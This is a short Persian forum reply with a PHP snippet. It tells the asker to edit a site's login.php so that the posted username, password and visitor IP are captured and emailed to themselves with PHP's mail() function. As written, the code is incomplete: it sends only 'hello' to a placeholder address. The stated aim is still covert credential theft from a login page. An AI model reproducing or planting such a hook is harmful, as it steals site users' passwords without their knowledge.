سلام
اگه خودت از كد نويسي چيزي مي دوني كافي متغير ها رو بگيري بعد با تابع ميل براي خودت ارسال ايميل كني

کد PHP:
$username=$_POST['username'];
$userpass=$_POST[userpass];
$ip=$_SERVER['REMOTE_ADDR'];
 
 
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
   'Reply-To: webmaster@example.com' . "\r\n" .
   'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers); 
فايل login.php رو باز كن فكر كنم اين قسمت باشه